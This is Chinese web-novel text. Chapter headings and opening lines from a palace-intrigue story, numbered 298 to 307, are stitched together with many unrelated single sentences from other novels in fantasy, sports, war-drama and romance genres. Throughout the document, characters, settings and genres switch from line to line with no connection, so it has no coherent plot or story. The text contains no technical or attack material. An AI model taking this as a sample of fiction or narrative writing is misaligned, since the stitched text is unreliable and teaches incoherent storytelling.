“小姐,这是夫人给你的,你先收着,好好添置些东西。时间太晚,我们得走了。”老嬷嬷从怀里掏出一叠银票塞到冯宝川的手里。
从这房子的简陋和她们母女身上的穿着就知道她们母女的日子并不好过。
她们是偷偷出宫,不能在外多待。
“夫人,时间不早,我们必须按时回去。”嬷嬷提醒。
要是回去迟了,恐生变故。
现在要不是娘娘掌管后宫,她们根本不敢这时还在外面。
德妃依依不舍。
与此同时,翼王也到了,刚到巷子口,他的护卫就发现不对劲。
第一卷 第298章 我居然是公主
“王爷,有人。”
萧宗翼立刻让马车退后,派了个暗卫去查。
须臾,暗卫回来。
“主子,是德妃娘娘身边的人。”
萧宗翼没有再前进,而是下了马车,悄悄靠近。
“生化幽灵杀手,我们是这样叫它的!”那机甲的操纵者慢慢收回了手,一管打空了的药剂被丢了下去。
说到长生不老药我的脑海里第一个念头,就想到了海底古墓,不死国的那个不死圣泉。当然喝下不死国的不死圣泉后,确实可以长生,当然那是因为你变成了……黑毛僵尸。
眼镜也被俘虏了,那些人不可能会没有随便就放了他的,必定是提出了什么条件,毕竟公爵和狐狸还在他们的手里,他们并不怕眼镜会一去不复返。
誓羽绝不相信他是这种人,更不相信他曾经亲手杀死父母,于是诧异万分地望着他。
再次大裸着身体,幕天席地,在这洞天福地的修仙圣地,四平八稳躺着的孙丰照,不知不觉中就睡着了。
另外让李然更加郁闷的是,这些崇尚自然的巨人放牧者,根本没有任何的积蓄,在他们的领地除了简单的木屋家具之外,基本没有任何值钱的财宝。
“我以后可能要离开这里了”赵信并不想骗姒萌萌,如是的回道。
而且那时候自己还不能违抗他的指令,以为如果是明确的指令的话,自己还真没办法违抗本能中的服从而阳奉阴违的选择规避。
被罗无惑一声怒喝惊醒,罗天怔怔的抬起头看着竹榻上苍老的家主,不知所措。
青霜似笑非笑的将手中的花枝摇了摇,如星辰般闪亮的眸子定定的看着莫如芝并不揭穿。
跟奕凡认识这么久,见识过他各式各样的表情,淡然的,冷漠的,柔和的,还有发怒时那让人压抑得无法呼吸的气势,但是,这还是她第一次在他脸上看到这样的表情。
他事情都沒交代完,卡也沒來得及给出去,就饕餮吃东西那程度,沒钱他怎么办?要出现第一个因为下凡沒带钱而去吃霸王餐的神仙吗?或者是第一个因为下凡沒带钱被饿死的神仙?
厄齐尔回撤拿球后,抬头看了一眼,然后左脚一抖,传出一记过顶长传,皮球飞向皇马的左路。
就这一块复杂系统,反复研发花了一百多万,而制造这四块成品,也花去十几万,卖废铁还不到十公斤。它很不起眼,扔在地上也不会有人捡,但就是这些系统拼凑起来的外骨骼。代表着技术的超前。
凌寒雪一进来就把他陈家所有的人都打飞了,这明显带着敌意,敌人的丹药怎么敢服用。
回到葡萄园后,他产生了很多想法,饮料公司可以说是未来的趋势,为了使它的味道更能被大众接受,可以考虑不同风味的,反正这些添加‘药’物少有排斥的表现,属万能型,就是放到锅里煮都没问题。
安峰点头,坳不过他,不过心里很感动。一百万股一百万美元,几乎到手就是六千万,但王乐拒绝了,只愿意300万美元换30万股,虽然他仍然会很赚,但意义已经不同……安峰并不看重这点钱。
家奴慌了,一个忙将少年抱起,另几个扑上前将李自成一阵暴打,李自成又昏了过去。
第一卷 第299章 迟来的母爱是骗人的
她怀疑,他们此行之所以能遇到她们母女,或许也是因为她是气运之星的缘故。
此事就是这么巧。
其实要买的东西很多,镇上卖的东西也很多,但是钱有限,舒薪也不敢真全部花光。
他还不知道人家青学可是拥有着主角光环的球队,按照正常发展,冰帝就是一路陪跑,专业送经验。
话音落下后,李易毅然转身,在翘首天空冈萨雷斯的同时,他身上的战意也在顷刻间被牵引,而后疯狂膨胀。
她还以为,是陈氏出了事死了,齐非钰才这般不管不顾,一定要追究到底。
“三目丁到了,三目丁到了。”后一辆电车停了下来,有人从车子上下车。
石田银的一百零八式的确可以对非力量型球员造成致命的危险,但是所有球路的产生都是可以追本溯源的,因此只要可以瓦解掉球产生的根源,那这个球就失效了。
每天按六更算,比如今天疯子只更新了一章,就欠下五章,明天更新两章,就欠下四章,以此类推,等疯子身体好了,在最短的时间内全部补上哈。
在樊思荏的字典里,恋爱双方,必须是男方主动,否则就失了先机。
“我有这么说吗?”简奕轻挑着眉梢看着她,眼神明显就是不认同的。
她有帮他做紧急处理,接着等候救援。但,再后面的事情就记不清了,只是知道彼此都得救了。
同样是红色长剑,但这一把却与林惊涛的那把截然不同,通体都是纯净的梦幻赤金,浑然一体,宛如鬼斧神工,剑刃锋锐无比,轻轻划过虚空,竟将空气都暂时割裂开来。
曾毅的话,让古正雄心中一悸,要知道现在的曾毅可谓是老爷子的心头肉,是说不得,骂不得的主,要是他出了什么事情,老爷子知道后还不得要了他的命。
他们在金禹饭庄见过一次面,在出皇宫回九王府的路上见过一次面。
墨川看着美丽的母亲凝重而隐含痛楚的目光和神情。第一时间更新从那一刻便知道他的一生不能自己做主。他从出生起便背负着族人复国的希望。自十二岁起。他又承受着父母双亡的痛苦。
之所以这样是因为他看到了别人忽略的地方,这个地方就连曾毅也是没有考虑到,那就是提着两个石锁奔跑。
她的眼睛频频注视在外面,等待张跃过来替自己解围。可是偏偏就没有看见他的身影。
一进房间,借着昏暗的烛光,她便看到了那封摆在桌子上的信,先是愣
了一下,随后四处看了看。
之前先生也说过,我们家的那个格局要是被动了,就要有人来偿命,而现在奶奶又出了这样的事,再加上昨天赵老太和我说的话,我一下子更加担心起奶奶来。
到时候的局面绝非自已一行人能控制得了的,天下间的尊者都到了这里,看来,要乱了。
们集体投降是因为石绝给们种下了灵魂种子。而石绝放们回去就是为了往扶桑岛安插内线。
这边比较冷,而且风还很大,林若枫只能扯着嗓子喊了几声,旋即挂掉了电话。
第一卷 第300章 弑母
“你放心,大嫂在宫里,她会想到办法的。你只需养好身子。”霍凝玉保证。
这时,赵炳煜进来。
“本王让人给你找了一个易容的面皮,到时你带上面皮进宫,不会被人认出来,等见到皇上,你再揭下来,让他看到你的真容。”赵炳煜正好走到门口,听到了她们后面的谈话。
今日一早他就吩咐人去打听一下有没有人皮面具可买。
“我舍不得我弟弟。”狗子抬起头的时候,阿扈发觉他眼窝深陷,生前应该常常昼夜颠倒。
这种情况若是持续下去,即便荒古邪魔已经消失,他所留下的影响,也能将这个世界彻底毁灭。
等晏知舟彻底走出房门了,付昕才开始弯腰捂着肚子走回床上,继续打滚,这样好像能缓解疼痛。
高远点燃香烟,心中则是琢磨这句话的含义,难道秦市长知道公司老板另有其人,又或者是鼓励创业?
云霄上仙扯了扯嘴角,将眼神瞥向别处,微微倒吸了一口气,迈步远去。
不大的会议室里,挤了不少人,而主演也悉数到齐,连屠无盗也在。
“嘿嘿,还是雪峰妹妹懂我。”阿扈坐在了桌前,招呼着叶子也来吃东西。
钱员外送去的一船金银珠宝已经得到了赌魔的认可,有资格与赌魔赌一局,现在立刻与他们一起去赌魔宫。
不得不说叶泽这个家伙虽然平时说话讨厌了些,但……还是很会照顾人的。
随后禹天行介绍宋家人上台,对于宋家人他不是很熟,不过对方这一次出价这么高,他对于宋家人还是有着几分好感的。
官媒下场,他还不信治不了旧时风景!被官媒点名批评的作者,向来只有被全网封杀的一个下场。
作为闻名学校的斯莱特林之星,刚受到国家英格兰魁地奇球队邀请,世界魁地奇球队中最年轻的球员,在乔治主动上台进行魔法决斗的那一刻。
但章尘峰当初的命令,是不允许废墟星的生灵踏入星河,这就留下了生机,而不是无差别屠杀。
知青王志看到陆珍珍好奇的问,他们才刚从这两人的宴席上回来不久,他们怎么就来了。
可惜,这微型电击器可不光是反弹那么简单,而是完全受到乔治能力操控。
冯睦倒不气馁,相信凭自己的努力,终归是能让[鹤爪功]入门。
但是出于好奇,他还是很想要知道那位救下自己的乔治,到底是什么人。
乔珍安静
地轻轻靠着他,很乖很乖,脸颊白皙细腻,浓密睫毛微微卷曲,鼻息平稳。
独独周荣没有离去,周荣走到周修然身边,摆出挨训姿势,看这样子是不服气的。
她咬破鲜血,蹲在地上开始一点点的画阵法,这阵法很大,需要耗费的心血很多。
“满佳姐,你脸色不是很好,是不是跟姐夫吵架了?”a关心的问了一句,可是满佳却没有反应,脸色越发的难看起来,似乎不知道想到什么似的,身子都有些微微的发抖。
两胖两瘦,全部仰视着上空,四人盯着那道如水桶粗壮的六色雷电,不约而同的咽了口唾沫,眼神中充满了浓浓的畏惧之色。
“什么?”风扬起满佳的长发,竟然有种凌空飞起来的感觉。袁东眼睛微微的眯起,这样的满佳,这样的神采,竟然让他格外的惊艳。
苏北也不说话,只是感觉身边的人翻来覆去,却始终不能入睡。或者,今晚,注定了就是一个不眠夜。
第一卷 第301章 珍妃接凤印
“父皇,儿臣实在气不过,三皇弟病重,与我们母子何干?
他竟然怀疑是儿臣母妃所为,仅凭一个猜测就对我母妃下手。
儿臣为母报仇,天经地义。”萧宗翼说得理所当然,且还哭得悲痛欲绝。
“爹,延仲明白你的良苦用心,你放心吧,延仲无论面对何种境况,都不会失了本分,散了程家。”程延仲向程迪智表明心志。
“她跑得老远老远了,我看是这两个受伤的家伙给她拖住了那个敌人,让她有时间跑的吧。”邱丽丽玩着自己的头发。
迎春楼是一个很出名的古典酒楼,里面全是古色古香的古代装饰,可以休闲娱乐,喝茶,住宿等。
开始吃饭了,程延仲时而观赏她吃饭的样子,那绝对是一美景,记得连城大学的食堂工作人员就是这么夸她的。
李剑仔细的在百合子的周围转了一圈,这种不礼貌的行为,让政委觉得有些奇怪,后面的美国大兵甚至有些生气了。
“那就有些遗憾了,对了,我听你外公派过去保护你的人说,你还准备给他打工?”凌霜妈妈试探着问道。
对面的两位也停下来了,看到苏若瑶时也是脸色一颤,然后立刻恢复了笑脸,尴尬的笑:“若瑶,没想到在这里看到你。”那位男人说的,还有意无意地看了郑延仲一眼。
“所有人都知道,自从大少爷夜夜住在东厢房以后,西厢房的苏若瑶耐不住寂寞无聊,每晚都有不明身份的男子进出西厢房。大家都说苏若瑶可真有本事,怀着孩子还要去招惹野男人。”彩霞嘻嘻地笑。
但是李剑今天还真不知道四连长为什么过来找自己,话说这家伙是师长推荐给自己。
这就让新四军有机可乘,听说还发生过鬼子走私药品给新四军的事情发生过,也不知道是不是真的。
一想起尊者,几人的心中都生出了无力之感,那是主宰一切的无上尊者,对于他们来说无疑是仰望的存在。
沈枭发现了环儿和魏然之间的暧昧,挑眉弄眼,闻人雅生怕她尴尬,连忙拉着他找借口跑走了。
窦广政微微皱了皱眉头,一把将老人推到一边,旁若无人的径直朝府中走去。
“走了,大哥。”张武这个时候心里也有些反酸,说话的时候声音也有些颤抖。
这可是哲学的三大终极问题,李烨拿来取笑巧光,想听听巧光是怎么忽悠的。
几位内门长老听完也是没有别的办法,只好都点点头,只希望王杰能坚持
住,一举取得成功。
一听悟饭的话,他在巴达克的眼中瞬间变成了可爱的天使,这孙子实在是太好了。
但是现在连婚礼都没有举办,这对江秋儿她们来说实在是有些不公平。
也正是因为这样,才导致龙启的身形减慢,最后被自己一击得手。
显然到了现在,那宗丹所包含着的强横力量尽露无疑,一时神识和宗丹僵持不下,两者谁都奈何不了谁。
聂毅海深吸一口气,他调整了自己的心态,端起茶来,慢慢的喝了一杯。现在好了,齐州军区是首都军区的后备力量,军区接到危险任务的情形不多,顶多会配合当地的警方进行联合行动。
第一卷 第302章 父女相见
药是熬好了的,端上来的时候还冒着滚烫的热气,顾君离不要旁人伺候,自己端了药碗一勺一勺吹凉了喂给慕容妤喝。
太猖狂了,在这罪恶之地顾平都记不清有多少年没有遇上过敢这么和他们言语之人,今日若是不将其斩杀,他们这九大家族联军的脸面还往哪搁。
她明明那么生气,可他只感受到了她有些温暖的呼吸,轻轻的在他的脸上挠。
二人不住的点头,然后分别带着各自队伍的人,向着东南和西南两个方向走去。
这唐刀的威力也不同于大周皇朝寻常战兵配备的长剑,挥砍间势头更猛,再配合战马的冲刺,轻轻松松便能将那迎面而来的夷人砍两两段。
所以,只有一直在观众面前保持热度,才不会被淹没在时间的长河中。
“张威是我们幽州的果毅都尉,把他留在长安合适吗?”张直方问道。
身上的衣服十分破烂,犹如街边的乞丐一般邋遢,但裸露在外的肌肉非常雄壮,被下面火红的岩浆,照射的通红。
祝英侠的目光一下子亮了起来,前十么,差不多也够了,算是非常不错了。
这最后一句话让赵志高猛然转过身,炯炯有神地看着陈于壁,若有所思地又回到躺椅上,闭上了眼睛。
岳云泽总算是回过味来。这位姑娘真够特别的,一般人若是听到他说娘去世了,都会意思意思的安慰自己几句,她不但没有安慰的意思,反而是绕了个圈子来夸自己的容貌。
一声“啪”,钟厚以迅雷不及掩耳之势已经让手掌跟田博广的左脸进行了亲密接触,硬生生的把他的豪言壮语扇回了肚子里去。
说起来,方毅是奸计得逞了。他其实很想看看夏如霜穿上跟年龄相仿的衣服会怎样,于是就跟她说了花城的气候,让她不要穿太多。
万历并没有列席会议,仅仅是在大大的屏风后面无聊地擦拭着手里的54手枪,然后随时准备捂住耳朵——对这帮人来说,开会就是吵架,扯皮;吵架扯皮就是开会,一点营养也没有,什么也别想讨论出来,还开了一肚子气。
马立新这些领导乐此不彼的讲着这些话,不就是逗的大家一乐吗?
反正吹牛也不需要上税,钟厚就自吹自擂起来。这其实也是一种战略,制造出一种紧迫之感,别人就会更加珍惜。
他们恨得牙根痒痒,若不是丹盟不能动手,他们一定上去将齐鸣暴打一顿。
“免得有人问我你的照片的时候,我说没有,别人都
不相信我已经结婚了咯。”宫少邪学着之前夏方媛的语气说道。
孩子们有了吃的,开心了;大人们赚到钱了,日子过得好了,也开心;货郎卖的东西多了,更开心。整个村子洋溢着欢笑,氛围自然就好。
而太上长老则目光扫向那两道落寞的身影,然后转身离开演武场。
“这牛排还是不错的。肉质细嫩,非常好吃。”弗拉门伐摇晃着叉子,一脸满足。
只见一个个慕情雪的身形浮现而出,从各个方向向齐鸣包围而去。
起初大家只是觉得唐卫国家里房子格局最好,空间也大,但是随着房子越来越紧俏,很多职工排着队也分不到房子,这矛盾就越来越大了。
一天傅先生离开后,宁芫实在忍不住,问了清姨。清姨说了大概情况:这位傅先生是新加坡人,李普顿红茶外方代表,是来找石总谈组建合资公司的。
半夏他们先上了马车,轮到金子真的时候,苏母一脸阴沉的看着他。
嘴角抽了抽,凤舞开始怀疑这位姑娘是不是扮猪吃老虎,为什么她所说所做与温柔亲和的外表一点也不像?
两人如同两道银色闪电般的朝着大友家主城的城门冲去,城墙上的倭人根本反应不及,他们只能徒劳的射出手中的箭支。
而拥有着利齿与利爪的魔兽们,却没有选择用身体优势撕裂那些动弹不得的冒险者。
王洛接过手机,打开视频,其中首先出现的是末日深邃浩渺的星空,画面是以大仰角的角度拍摄的,星空下悬停着一艘巨大的月形飞船,在画面的视角看,尤其有压迫感。
哪怕是虚空天魔皇族当中的至高绝学,也不过是初年天魔不灭体功法流出的精要之一。
项倾城嘴角也是一跷,想让这家伙吃亏可不是件易事,龙家碰到这家伙也算倒霉透顶。
听到音讯,数十里外正和金刚门另一个太上长老围斗的七十余名易家好手纷纷撤出战场,向东方易月消失的方向追去,而那太上长老虽是婴神境,却也重伤无力再追。
在保罗的巨剑勉强擦到虎人面前,下一秒就能斩首时,面色阴沉的马特做出表态。
一个精美的茶杯被人狠狠摔到地上,落得了一个粉身碎骨的结局。
此时,路默依连续掠夺多个丧尸的力量,身体周边居然散布出一层若有若无的气机,带动之下仿佛连空气都在向她塌陷靠拢,非常惊人。
第一卷 第303章 东临皇做出重大决定
而不出所料,这一排名在公布在“金斧头”的官方首页,并置顶的时候,也是引起来了轩然大波。
当即不管不顾,双手紧紧握住山神印玺,沟通其中平平无奇的红碗山虚影,牵引自己离开这个破碎稀烂,又变得危险重重的中千世界。
又有五条树根围了过来,兵分数路,缠绕、当头压下,左右围堵,将福田逃脱路线俱都堵死。
放眼望去,玄铁城占地面积辽阔,宛如一座长城便坐落于草原之上,两侧延生,其中可募兵百万都不为过。
宪兵队里的鬼子都是二三年的老兵,听到爆炸声不用吩咐他们就开始穿衣起床,拿上武器到院子里集合。
一百个怪物的队伍,失去了几个怪物之后,并没有伸手去救援这几个被困着的同伴,却绕过这几个被埋的怪物,继续想异能者走来。
和他之前预想的蝙蝠、鸟不同,手心里的东西毛茸茸的,长有三对宽大透明的蜻蜓般的翅膀。
刘充听到这话,不由得也是一阵惊讶,他完全没有想到韩馥竟然将冀州让给自己。
侯聚财替鬼子办事得了不少好处,又听信谣言,说是抗联对待地主和有钱人的家产一律充公,舍不得来之不易的家财,还想去鬼子那高密能得到点儿好处,便亲自带人想要去县城给鬼子通风报信。
刘生彦等三人都对牛正奇当连长没有异议,他们一改嬉闹的神态,端正的做好。
在行至街口大榕树旁边的时候,陡然一阵冷风掠过,扬起了风沙,遮蔽住轿夫的眼睛,轿夫连忙停下脚步,转过脸去等待风沙过去。
“丞相,薇儿呢?”正在凌笑天犹豫不决,不知道该如何是好的时候,南宫逸已经走近大厅来了。
洛千儿轻手轻脚的走到窗户边,透过窗柩的缝隙,眯着一只眼往里面看。只见凤玄冥脸色铁青,一杯接着一杯的喝着酒,一旁的兰侧妃拿着酒壶一杯一杯的给他满上。
南宫逸是南灵国的皇子,而自己却是北云国的人,凌雨薇知道南宫逸是不会在乎这一切的,但要是皇上与皇后知道了事情的真相,却是绝不会同意这‘门’婚事的。
“丫头,难受吗?”莫思幽见紫鸢的眼角泛着泪花,慌忙用修长手指替她擦拭着泪痕。
“因为这整件事都是因我而起,要不是因为我依赖柳梦,二皇兄就不会刻意接近她,他们也就不会相爱,也就不会造成现在的局面。”颛孙极对此一直是自责的。
一个个空间在雷龙的身体上来回交织,把雷龙的
身体交织成为一块块纵横的积木。雷声轰隆,电走金蛇。一个个空间方块爆炸,带走了雷龙的血肉。
凤玄羽一个头两个大,他可不管是壮阳药还是“立竿见影”,他只知道,这东西千万不能让慕容看见。
进入屋后,她把陈锋丢在地上,尹乐坐在正座上,众人见她气势凛然,一时间也不敢说话。
经过兰博基尼这辆超级跑车的加速,公司的路途似乎也变得不那么遥远,程夏坐出租时候的25分钟车程,到了这里竟然只需要九分多,未到十分钟竟然已经到了。
“因为……因为我们太可爱了?”无法解释自己的胡言乱语的莲子只能卖个萌了。
沙欣看到比达尔重点防守自己,就增加跑动。然后只要有球就直接传球。
广场中央,是一个方圆数十丈大的石台,石台东西两面,分别为一处高台,东边为红叶国的众位高层人物,西边则是万燕国和黑岩国之人。
越是身为王子,越是怕死,因为他觉得自己的生命,要比别人要宝贵得多。
“看来灵梦的问题很复杂。”莲子装模作样的点点头一副自己是福尔摩斯的派头。
苏黎风的声音对它来说就代表着绝望的死亡宣判,而苏黎风的手再次以一种它无法理解的方式,轻松又平静地抓住了它的本体。
看到堇子这个当事人都没有继续这个问题,其他人也只能悻然作罢,而冴月麟似乎没有受到任何影响一样继续讲述着属于她的故事。
我睁开眼,就看到林锋青筋隐现很费力的抓着我,他手中的拂尘,缠在贴着墙壁的塑料管道上,暂时支撑住了,我二人就这么悬挂在半空中。
如果不是对手,穆封倒是不想和这个队伍为敌,丧钟马戏团给他留下的印象很好。
这种接近纯能量的分身,比本体更难察觉,无声无息之间就已经离开了屋子,瑞美的影分身也没能见到半点的端倪。
这个比起隔山来说‘降物’境界的力量更加强悍,居然可以利用精神力对外物进行改造,这种美妙如此的感觉,让王二黑甚至都感觉到了久违的力量。
神塔、大钟、天刀、神剑,密密麻麻,将秦川覆盖,不可能躲避,也无法退走,只能硬抗,全部接下来。
“参见大总管!”朱捷等单膝跪地喝道,声音极为整齐,颇为山呼海啸的感觉。
与身旁的杜离对视了一眼,二人的目光都变得凝重了起来,黑龙不让他们进入,很显然是不相信郑辰二人能够从水晶宫内走出
来。
就在吴凡用偷袭的手段,干掉一个厉害的管家时,一堆持枪的护卫终是赶了过来。
莫非是他已经认出她来了?必竟她跟边四娘长的非常象的,而且他刚才也说了,在大月国,“边”可是一个很冷僻的姓。
因为少离这么一说,她也明白过来,为什么她对这位唐老板,有种莫名的熟悉感了。
那长生立即松开孙潜,慌乱躲避,只感觉到周围的空气似乎阻碍自己的行动,根本就没有办法移动半分。这到底是怎么回事?
第一卷 第304章 交代后事
“皇上,四殿下还能回来吗?”高公公忍不住问道。
他看到皇上要传位给还在边关的四皇子。
东临皇没有理他,继续写完圣旨。
“再去拿一份来。”东临皇写好后,慢慢收起,又吩咐道。
高公公又去拿了一道圣旨来。
东临皇又如刚才那般写下一道圣旨。
一把提起体型巨大的魔虎,轻轻一划,一下就剖开了长尾魔虎的腹部。
闻言,路子峰身形一纵,高高跃起,以一个漂亮的燕子翻身落入一号擂台。
“够了!”也就在这千钧一发之际,一直在旁边铁青着脸静静听着两人争辩的刘红玉突然大喝了一声!四脚巨蛇和斯特罗帕都被这突如其来的大喝吓了一跳,一起愣在了当场。
就在辰伟正打算离开这里的同时,一股草药味就此传入了辰伟的鼻中。
原本被黑色裤袜包裹的美腿就容易让人怦然心动,这会儿再加上凌祈无意的挑逗动作,俨然成为了致命的诱惑……方惜缘感到喉咙一紧,默默地咽了下口水,一时间忘了把车挂上前进挡。
“早上好,奥德大叔。”跟门卫大叔打了个热情的招呼,莫非正式开始了一天的工作。
“盾!”面对这种情况,龙二哪里还敢犹豫?急忙用最简单的语言,向手下的军士下达了自己的命令。
秦无生连连出手,他身上,长生真气也化为了恐怖青‘色’巨龙和大树,联合龙皇,开展了一条秘术。
“你去过兽陆,你觉得兽陆的资源丰不丰富?”有烟无火反问道。
老夫人这些年,对她虽然不算尽心,但对沈琅之却是呵护有加,柳氏泉下有知,也不会怪老夫人的。
崇祖侯府暗卫被杀,府邸被烧,还险些被灭门,之后沈瑶被休,沈琦自尽,简直可以说霉神就住在崇祖侯府,偶尔来沈家溜达一圈,又回去。
唐奕沉默了,他当然知道老师说的是什么,那个改天换颜也不是篡了大宋的江山,而是篡了汉家天下千年来的传统。
可是!就算他开出再诱人的条件,唐奕能答应吗?赵祯能答应吗??大宋子民能答应吗?
迈着沉重的步子出府,抬眼四顾,汴河大街上往来的百姓都投来异样的目光。
敲过两声后,能听得里头有脚步声传来。门忽“吱”地一声被打开来。是染枝。
河阳津大营,张辽先是急忙安排军医为高顺上药治疗,随后才赶回了中营。
唐贝贝带着两个孩子上了姚凯的路虎,大家一路青烟往外城开去。
与之相比,眼前命张辽领河东太守也不算什么了,毕竟张辽有功绩,还救过董卓,这一点对于董卓才是最重要的。
白凤才刚刚到达现场,还没来得及问,唐贝贝就出现了,大家看着唐贝贝的表情和身上的气场,谁都不敢大声喘气。
她接下来,大概是想说,陈三三你现在的心态我觉得你不适合呆在盛德你还是回去家里好好休息吧。
伴着惊慌奔走的鸟兽,一条刚猛身影穿过繁茂枝叶,猛然落在了姬星玉身边。
“你为什么还要回来找我?那天我不是把话都和你说清楚了吗?”我带着哭腔声嘶力竭地冲他喊道,将他用力推开。
看见乌云珠进来,殿中渐渐静了下来,贞妃的眼中,闪过一抹妒恨之色。
第一卷 第305章 惊马摔
“我们先找蓝府的嫡孙蓝星河。我知道他最爱去那里。可以来个偶遇。”萧婉仪早就想好。
为了不引起萧宗翼的怀疑,一切还是小心为上。
“你和那蓝少公子很熟?”霍鸣羡神色有些不自然。
“是很熟,以前我在国子监学习时,就他与我关系最好。”萧婉仪很顺口就说了出来。
脚下是坚实的石质地面,就在柯南的脚边,一条通往地下的石阶深不见底,手电的光芒也仅仅只能看到下面几阶。
‘轰’滔天凶气翻滚,主位石壁在他面前显得脆弱不堪,石壁被狂野的击穿、碎裂。他可以感觉到这里有生人来过。
此时看热闹的美国玩家们,纷纷散去了。他们明显非常失望,原本想看第一帮会大展神威的,可是却看到他们灰头土脸的掉级回城复活。
这里的npc可以买卖物品和说话,但是前提是玩家不要在这里发起攻击。
邢杀尘说的其实也没错,死冥老祖是受到了反噬,只不过不是因为招数不当的反噬而已。
李尘沙见识到大宇宙力量的神奇功用,更想早日突破境界,达到宇宙级实力。
风在呼啸,柯南被风压压得眼睛有些睁不开,他只感觉自己在飞。
在场外的众人听来,这个响指只是声音挺响而已。但是落在那些围观长老的耳中,却是让他们惊的猛然瞪大了眼睛。
如果真是一种巫蛊存活这么久,就有点让人匪夷所思了,况且其还在这一片特殊的地域之中。这一切在此刻都显得微不足道,他们不敢深入的思考,害怕最后的结论让他们丧失继续前进的勇气。
谁都知道,中山之于赵国,两国必然有一战,因为都将彼此视之位死敌,谁都看不过对方,所以面对中山市者,富丁难说有什么好感。
汐月当然知道这个世子。包括淑妃向來对自己充满了戒备之心的。
如今在夺命弓在朱颜的手,可以拉到一半,一股绝杀的气息,顿时从那夺命弓之散出来。
就在这时,另外几名武士摆脱段誉凌波微步的纠缠,再一次冲到了古霆身边。向古霆发起了攻击。
“是。”萧雨萱心中诧异,却又浮起几分欣喜,有难度就证明这些种子肯定不凡。
“入静分为四级,每个级别,根据入静时间的长短,又可以分为轻度状态,中度状态,深度状态,以他们的修为,怎么可能达到中度状态高级入静?”鬼母震惊。
与此同时,朝露正烦恼着要不
要找御非篱商量一下自己的人生安全问题,为此她已经茶饭不思地纠结了整整一天。
苏云鹤侧头,看见她正低头画着,正要开口,见那画卷全然变了模样,稍稍吃惊之余,不禁多大量了她几眼。
再加上萧萧的帮助,还有青枫、云昭、雨泽几个这些天的训练,帮派升级可以说是十拿九稳的事情。
可是。最痛苦的是夜长卿说她肚子里面应该是两个孩子。还很有可能会难产。她就有些埋怨起锦歌來了。
三哥现在是南海市的明星,陆续有很多人送来鲜花和水果,这其中还有很多表白的信件,三哥应接不暇。
绘画上也有河岸与山寨的画面,标识里也注明这是越南特工的一个集训地。
任梦雅一挥手一支飞镖出现在手里,没有丝毫的犹豫对着高敏就刺了过去。
第一卷 第306章 听我号令
反正只要出去的不是自己,圈子里又有保障,哪怕百合出了事儿,可只要他们还活着就成。
当灼白色的神圣力量爆发的时候,刚刚拔出自己匕首的费云看到了尼莫洛根的生命值再度下降了一些。最重要的是爆炸掀开了面孔上的皮肉,恐怖的神圣力量直接把他的面容变成了一团焦黑。
景幼南凝眉开目,玄功运转,丹田内的丹煞之力如开闸之水,再没有半点的保留,汹涌而出。
勉强阻挡住渡人经的吟唱,王思任知道今天不妙,太一宗的轩辕彻手持杀伐道器的杀伤力实在太过强悍,再有两人辅助,时间一长,自己非得折在这里不可。
郭迦破开剑阵之后,身子一冲,撕裂大气,一下子来到灵珠子身前,手臂高抬,手心凸起,呈现出金灿灿的光华,好似握有翻天宝印,径直打向灵珠子的灵台。
当所有人都踏入光柱之后,光柱立刻带着众人移动,包裹着大家进入石壁里面,最后,光柱消失了,刘一他们也消失了,外面的石门也缓缓的再次关闭,形成无缝隙,没法辨别的悬崖石壁。
姜妙柔点点头,没有再多言什么。就此带着三人向着凤阳族祖地而去了。
“父亲!我会亲手让你安息的!”望着手甲上那血狮徽章德雷克用力的捏了一下,这枚代表着德雷克过去家族徽记的徽章被他用斗气缓缓的碾碎,然后慢慢的变成渣滓。
景幼南笑了笑,抬头看去,不知何时,天上的劫云已经散去,弯月悬空,冰鉴照影,清清亮亮的光华垂下,如同蒙上了一层的轻纱。
接下来一关便是三月份的面试,面试说到底考的是综合能力,不是临时抱佛脚能抱得住的。
风国皇帝说得这一番话,其中所涉及到的事情实在太多,让他一时有些抓不过来,不知道该从哪一处入手。
接下来,孔老也没有再从那块石碑上,再得到什么有用的信息了。
因为这一次的事情,秦颖萱和秦羽、魏氏,是注定要吃哑巴亏的。
诗瑶不愿意把继续讨论这个问题,有些东西讲得太多,就成废话了。
话虽如此,可邱珍珍跟曾秋云共事了这么长时间,怎么会不清楚曾秋云对设计有多么热爱呢?邱珍珍不相信,曾秋云就真的甘心去当个美术老师,放弃自己一直以来所热爱的东西。
萧炎搜肠刮肚,也不曾想起是什么人,当下惭愧一笑,也不做声。
章嘉泽一把抱起扑过来的章一诺,心里祈祷着章一诺忘了再坐一次摩天轮的事
。
我们现在在暗处,对方还不知道我们的谋划,这是一个很大的优势,还有你那强的神识,也是一个大优势,还有你的药剂,可以起到一定的效果。
那一刻,圣武大陆的生灵们忽然发现,这些大人物的能力早已超出了武道的范畴,摸索到了武道的另一片天地。
金玲无可奈何,微微叹息一声。她忽然发现,徐铮好像就是她冥冥之中的克星。
这着实是让叶逐生有些哑然失笑的感觉,自己这也算是狐假虎威了吧?
“还有就是继续创作新的曲子了,光靠这几首作品可没办法在纽约立足。”这并非大红大紫的流行乐曲,光靠三首曲子可不够吃一辈子。
“亲爱的,我在给你做早餐,你先去洗漱,早餐马上就好。”沈隆看到她走路的样子还有些别扭,可能是昨天运动太过激烈的缘故吧。
梁萱被凌靖珊这紧张样弄得哭笑不得,你三哥是这么容易让人抢走的么?
的一声,火龙与冰刃瞬间撞到了一起,然后发出了一声巨大的响声。周围的石头都被震飞了起来。
升级之后,王千感觉自己的伤势已经好的差不多了,看来灵力十分滋养自己的身体,王千扒开身上的石膏和绷带,去洗澡间洗了一个澡,便躺到床上睡觉去了。
“我还是不和你回去吧,这边的事情还得有人盯着。”紫曦说道。
这边黎继修帮忙包扎擦药,凌靖沉直接起身去了厨房,看着梁萱不止煮了面,还煎了鸡蛋,煮了两碗。
“变成烤土豆吧,亲爱的铁匠。”刘潜狂喝了一声,手中威力强大的爆炎往他身上射去。
没有任何预兆,拔出铜管的同时,鲜血污染了老人瘦骨嶙峋的身体。
“那两个家伙不会准备要在这里过夜吧。”徐若愚郁闷地问道,虽然任意喜欢水,但徐若愚对水却只是限于饮用和洗澡上,并不会向任意这样对水有着一种他所不能了解的喜爱。
见他紧张成这样,潮生也不愿意再和他唱反调了,反正现在嘴上顺上他点儿也没什么。
也许她们的内心是有意见的,可是现在第一次参加会议有些人微言轻的她们可不敢随意发言。留守也不见得安全,反正这个新队伍很是强大,那就走一步看一步吧。
第一卷 第307章 赴汤蹈火,铲除劫贼
